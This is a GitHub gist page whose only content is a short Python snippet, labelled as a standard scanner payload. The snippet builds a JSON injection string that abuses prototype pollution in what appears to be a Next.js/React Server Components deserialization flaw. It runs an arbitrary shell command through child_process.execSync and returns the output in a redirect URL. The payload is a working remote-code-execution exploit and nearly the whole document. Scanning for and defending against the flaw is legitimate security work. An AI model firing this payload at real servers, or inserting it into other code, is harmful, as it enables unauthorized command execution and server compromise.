Skip to content

Instantly share code, notes, and snippets.

@MattKeeley
Created February 12, 2026 15:37
Show Gist options
  • Select an option

  • Save MattKeeley/9d6cd3e04bc943b799e00dfec1b8905c to your computer and use it in GitHub Desktop.

Select an option

Save MattKeeley/9d6cd3e04bc943b799e00dfec1b8905c to your computer and use it in GitHub Desktop.
# Standard payload used by many scanners
injection = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
f'"var res=process.mainModule.require(\'child_process\').execSync(\'{safe_cmd}\')'
'.toString().trim().replace(/\\\\n/g, \' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment